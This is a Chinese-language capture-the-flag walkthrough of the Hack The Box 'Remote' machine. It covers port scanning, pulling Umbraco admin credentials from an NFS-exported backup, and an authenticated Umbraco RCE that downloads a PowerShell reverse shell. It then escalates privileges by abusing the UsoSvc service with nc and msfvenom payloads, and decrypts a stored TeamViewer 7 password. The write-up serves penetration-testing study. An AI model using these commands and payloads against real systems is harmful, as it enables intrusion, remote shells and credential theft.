masscan全局快速扫,nmap具体扫。80想到web信息搜集,2049开了挂载,5985可以远程登录
C:\root> masscan -p1-65535,U:1-65535 10.10.10.180 --rate=1000 -e tun0
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-01-06 10:14:40 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49665/tcp on 10.10.10.180
Discovered open port 135/tcp on 10.10.10.180
Discovered open port 5985/tcp on 10.10.10.180
Discovered open port 139/tcp on 10.10.10.180
Discovered open port 49664/tcp on 10.10.10.180
Discovered open port 49679/tcp on 10.10.10.180
Discovered open port 47001/tcp on 10.10.10.180
Discovered open port 49678/tcp on 10.10.10.180
Discovered open port 80/tcp on 10.10.10.180
Discovered open port 445/tcp on 10.10.10.180
Discovered open port 2049/tcp on 10.10.10.180
C:\root> nmap -A 10.10.10.180 -p135,5985,139,80,445,2049,49665,49664,49679,47001,49678
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 18:30 CST
Nmap scan report for 10.10.10.180 (10.10.10.180)
Host is up (0.37s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
dirbuster或其他扫目录工具,可以扫到好多文件夹。
难点就是看看哪个目录有价值了,这就是信息搜集的过程。
如果之前遇到过这个umbraco那就是 熟能生巧,皇天不负有心人,轻车熟路。一眼就知道这靶机的突破口在哪了
如果没有,那可能得摸瞎一样找老半天了。
打开这个umbraco界面, 火狐浏览器自带的网站分析工具wappalyzer显示是个cms。cms是内容管理系统。既然是管理系统么,多半就是有漏洞的。于是重点突破这个。
本机里搜漏洞,发现是 Authenticated
要认证的意思,也就是需要账号密码才行,
github上也搜了个漏洞同样需要认证,https://github.com/noraj/Umbraco-RCE
所以下一步应该是去哪里搞到账号密码。
于是回头看mount挂载,那里面是否有信息呢?
showmount -e 10.10.10.180 查看能挂出啥目录,得到是/site_backups
mount -t nfs 10.10.10.180:/site_backups /root/htb/remote 挂到本机,本机再读取
网上搜到这个,说账号密码存在于app_data里的umbraco.sdf里
于是找到这个文件,grep抓取 admin
strings Umbraco.sdf | grep admin
找到信息:john解密
admin@htb.local:baconandcheese
先前提到了找到两个漏洞文件,但是本机自带的那个46153.py,要修改的太多,无法一目了然,
还是用github那个 ,傻瓜式操作。
准备好powershell 的弹shell文件 invoke那个 https://github.com/samratashok/nishang
。文件最底下加上弹shell信息Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.57 -Port 4444
本机打开python的http,这些在其他靶机都讲了很多次啦,不再赘述。
执行
python3 exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a "iex(new-object net.webclient).downloadstring('http://10.10.14.35/Invoke-PowerShellTcp.ps1')"
本机打开监听收到shell。
输入whoami /priv
或者用winpeas 下载传进去扫描。
可以看到SeImpersonatePrivilege
开了,于是可以老套路 土豆提权,参考这个靶机
不过这种方法稍微复杂点,且以前操作过。
这次就不用了。看能否用新方法提权???学习些新操作新思路?
因为是powershell,所以顺手用powershell里的扫描工具 powerup 扫描 下载
同样 本机的python http打开 。 靶机shell里依次输入
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.35/PowerUp.ps1')
Invoke-AllChecks
可以看到 提示usosvc 是可以攻击的。查了下方法,准备工具攻击
输入systeminfo,是64位机,所以再传个nc64.exe到靶机,github上有很多下载地方
按照提示,执行
Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command "C:\Windows\Temp\nc64.exe 10.10.14.35 1234 -e cmd.exe"
但是我这个老是报错。。
于是我换了种方法。
在本机先造一个弹shell的恶意文件
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.35 LPORT=1234 -f exe > ushell.exe
传到靶机
certutil -urlcache -split -f http://10.10.14.35/ushell.exe ushell.exe
按这个方法执行
sc.exe stop UsoSvc
sc.exe config UsoSvc binPath="C:\windows\temp\ushell.exe"
sc.exe start UsoSvc
也可以用其他方法。
比如先前提到的winpeas扫描里 还可以看到写了 teamviewer7 进程。 也可以看到UsoSvc: AllAccess, Start
全开权限。可以利用。
后者usosvc用上面的方法提权 讲过了,这里还可以试试前者。
msf有前者,用msf打很简单。
不想用msf的话,有个国外高手的文章可以参考。
msf源码
高手0xdf的文章
他根据msf的这个漏洞源码,改编成了Python
具体是从源码得知 版本7的 密钥 目录 分布,
然后进入 提取 关键加密数字,
最后改编 写了个Python破解,
步骤思路可以记下来。假如以后遇到别的靶机也有teamviewer 或者别的不是7的版本,都可以再利用。
cd HKLM:\software\wow6432node\teamviewer\version7
get-itemproperty -path .
(get-itemproperty -path .).SecurityPasswordAES
#!/usr/bin/env python3
from Crypto.Cipher import AES
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174,
19, 27, 70, 79, 88, 47, 108, 226, 209, 225, 243, 218,
126, 141, 55, 107, 38, 57, 78, 91])
aes = AES.new(key, AES.MODE_CBC, IV=iv)
password = aes.decrypt(ciphertext).decode("utf-16").rstrip("\x00")
print(f"[+] Found password: {password}")
拿到密码后,evil-winrm可以登陆,github 里impacket包里的psexec.py也可以,很多方法